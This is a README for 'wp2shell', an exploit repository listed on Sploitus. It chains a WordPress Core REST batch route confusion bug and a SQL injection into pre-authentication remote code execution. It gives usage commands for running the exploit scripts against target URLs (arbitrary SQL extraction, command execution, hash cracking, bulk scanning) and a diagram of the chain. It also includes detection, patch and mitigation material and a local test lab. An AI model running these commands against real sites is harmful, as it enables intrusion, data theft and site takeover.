Sploitus

Exploit for CVE-2026-60137 CVE-2026-60137 CVE-2026-63030

githubexploit Β· 2026-07-19

Exploit Code

README216 lines
## https://sploitus.com/exploit?id=C6E05E0A-FA04-556A-83D6-46B334902336
# wp2shell β€” WordPress Core Pre-Auth RCE

**CVE-2026-63030** (Batch Route Confusion, CVSS 7.5) + **CVE-2026-60137** (SQL Injection, CVSS 9.1)

A pre-authentication remote code execution chain in WordPress Core that requires no plugins, no special configuration, and works on default installs.

---

## Affected Versions

| Version Range | Impact | Fixed In |
|---------------|--------|----------|
| WordPress 7.0.0 – 7.0.1 | Full RCE | 7.0.2 |
| WordPress 6.9.0 – 6.9.4 | Full RCE | 6.9.5 |
| WordPress 6.8.0 – 6.8.5 | SQL Injection only | 6.8.6 |

**Precondition:** No persistent object cache (Redis/Memcached). This is the default configuration for the vast majority of WordPress installations.

---

## Vulnerability Summary

The exploit chains two vulnerabilities:

1. **REST API Batch Route Confusion** β€” A malformed path in a batch sub-request causes `wp_parse_url()` to return false, creating a `WP_Error` that desynchronizes the `$matches[]` and `$requests[]` arrays. Subsequent requests are dispatched against wrong handlers, bypassing authentication.

2. **SQL Injection in WP_Query** β€” When `author__not_in` is passed as a string (not array), `absint()` sanitization is skipped and the raw value is interpolated directly into the SQL WHERE clause.

Combined with WordPress's oEmbed caching system (write primitive), Customizer changeset auto-publishing (privilege escalation), and REST API re-entrancy (privileged dispatch), this achieves unauthenticated code execution.

---

## Repository Structure

```
wp2shell/
β”œβ”€β”€ README.md                          ← This file
β”‚
β”œβ”€β”€ wp2shell-exploit/                  ← Exploitation tools
β”‚   β”œβ”€β”€ exploit.py                     # Full pre-auth RCE (no password cracking)
β”‚   β”œβ”€β”€ exploit_hash.py                # Hash extraction + authenticated RCE
β”‚   β”œβ”€β”€ detect.py                      # Non-destructive vulnerability scanner
β”‚   └── README.md
β”‚
β”œβ”€β”€ wp2shell-patch/                    ← Remediation
β”‚   β”œβ”€β”€ patch.sh                       # Source code patch (mirrors official fix)
β”‚   β”œβ”€β”€ wp2shell-shield.php            # Drop-in mu-plugin (30-second deploy)
β”‚   β”œβ”€β”€ block-batch.conf               # Nginx mitigation
β”‚   β”œβ”€β”€ block-batch.htaccess           # Apache mitigation
β”‚   └── README.md
β”‚
β”œβ”€β”€ docker-compose.yml                 # Vulnerable test environment (WP 7.0.1)
└── Dockerfile.debug                   # XDebug-enabled image for research
```

> WordPress source is not included. Download from https://wordpress.org/download/releases/ (7.0.1 for vulnerable, 7.0.2 for patched).

---

## Quick Start

### Detection (safe, non-destructive)

```bash
cd wp2shell-exploit

# Single target
python3 detect.py https://target.example

# With SQL injection timing confirmation
python3 detect.py https://target.example --confirm-sqli

# Batch scan from file
python3 detect.py targets.txt -q
```

### Exploitation

```bash
# Full pre-auth RCE (recommended β€” no password cracking needed)
python3 exploit.py https://target.example -c "id"

# Just extract data via blind SQLi
python3 exploit.py https://target.example "SELECT user_login FROM wp_users LIMIT 1"

# Alternative: extract hash + crack + auth RCE
python3 exploit_hash.py https://target.example
# Then after cracking:
python3 exploit_hash.py https://target.example --user admin --pass cracked_pw -c "id"
```

### Remediation

```bash
cd wp2shell-patch

# Option 1: Drop-in plugin (fastest, no restart needed)
cp wp2shell-shield.php /path/to/wordpress/wp-content/mu-plugins/

# Option 2: Web server block
# Nginx: include block-batch.conf in server block
# Apache: prepend block-batch.htaccess to .htaccess

# Option 3: Source patch (complete fix)
sudo bash patch.sh /path/to/wordpress

# Best option: just update WordPress
wp core update  # or Dashboard β†’ Updates
```

---

## Exploitation Chain

```
                    β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
                    β”‚  Anonymous HTTP Request      β”‚
                    β”‚  POST /?rest_route=/batch/v1 β”‚
                    β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                                   β”‚
                    β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
                    β”‚  Batch Desync (outer)        β”‚
                    β”‚  Malformed path β†’ WP_Error   β”‚
                    β”‚  $matches[] array shifts     β”‚
                    β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                                   β”‚
                    β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
                    β”‚  Steal /batch/v1 handler     β”‚
                    β”‚  (no permission_callback!)   β”‚
                    β”‚  β†’ nested batch executes     β”‚
                    β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                                   β”‚
                    β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
                    β”‚  Batch Desync (inner)        β”‚
                    β”‚  GET methods now allowed     β”‚
                    β”‚  author_exclude unsanitized  β”‚
                    β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                                   β”‚
              β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
              β”‚                    β”‚                    β”‚
   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
   β”‚ Phase 1: oEmbed     β”‚ β”‚ Phase 2:    β”‚ β”‚ Phase 3: Escalation β”‚
   β”‚ UNION SELECT fake   β”‚ β”‚ Blind SQLi  β”‚ β”‚ Cache poison +      β”‚
   β”‚ post with [embed]   β”‚ β”‚ extract IDs β”‚ β”‚ Changeset publish   β”‚
   β”‚ β†’ WP creates cache  β”‚ β”‚ + admin ID  β”‚ β”‚ β†’ wp_set_current_   β”‚
   β”‚ posts (write prim.) β”‚ β”‚             β”‚ β”‚   user(admin)       β”‚
   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                                                       β”‚
                                        β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
                                        β”‚  Re-entrancy                β”‚
                                        β”‚  parse_request triggers     β”‚
                                        β”‚  serve_request() re-entry   β”‚
                                        β”‚  β†’ now running as admin!    β”‚
                                        β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                                                       β”‚
                                        β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
                                        β”‚  POST /wp/v2/users          β”‚
                                        β”‚  Creates new administrator  β”‚
                                        β”‚  β†’ Login β†’ Plugin β†’ Shell   β”‚
                                        β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
```

---

## Patch Analysis

WordPress 6.9.5 / 7.0.2 applies three fixes that each break one link in the chain:

| Fix | File | Effect |
|-----|------|--------|
| Array alignment | `class-wp-rest-server.php` | `$matches[] = $single_request` for WP_Error entries β€” prevents desync |
| Re-entrancy guard | `class-wp-rest-server.php` + `rest-api.php` | `if ($this->is_dispatching()) return false` β€” prevents nested serve_request |
| SQL sanitization | `class-wp-query.php` | `wp_parse_id_list()` always applied β€” prevents injection |

WordPress 7.0.2 additionally removes the collaboration feature (defense in depth).

---

## Test Environment

```bash
# Start vulnerable WordPress 7.0.1
docker compose up -d
# Wait for MySQL to init, then install
curl -s "http://localhost:8888/wp-admin/install.php?step=2" \
  --data-urlencode "weblog_title=Test" \
  --data-urlencode "user_name=admin" \
  --data-urlencode "admin_password=TestPassword123" \
  --data-urlencode "admin_password2=TestPassword123" \
  --data-urlencode "admin_email=admin@test.local" \
  --data-urlencode "blog_public=0" \
  --data-urlencode "Submit=Install WordPress"

# Exploit
python3 wp2shell-exploit/exploit.py http://localhost:8888 -c "id"

# Clean up
docker compose down
```

---

## References

- [Searchlight Cyber Advisory](https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/)
- [Hadrian Technical Blog](https://hadrian.io/blog/wp2shell-a-pre-authentication-rce-in-wordpress-cores-rest-batch-api)
- [WordPress 7.0.2 Release](https://wordpress.org/news/2026/07/wordpress-7-0-2-release/)
- [CVE-2026-63030 (GHSA)](https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ff9f-jf42-662q)
- [CVE-2026-60137 (GHSA)](https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-fpp7-x2x2-2mjf)

---

## Disclaimer

This repository is provided for authorized security research, penetration testing, and educational purposes only. Use only on systems you own or have explicit written permission to test.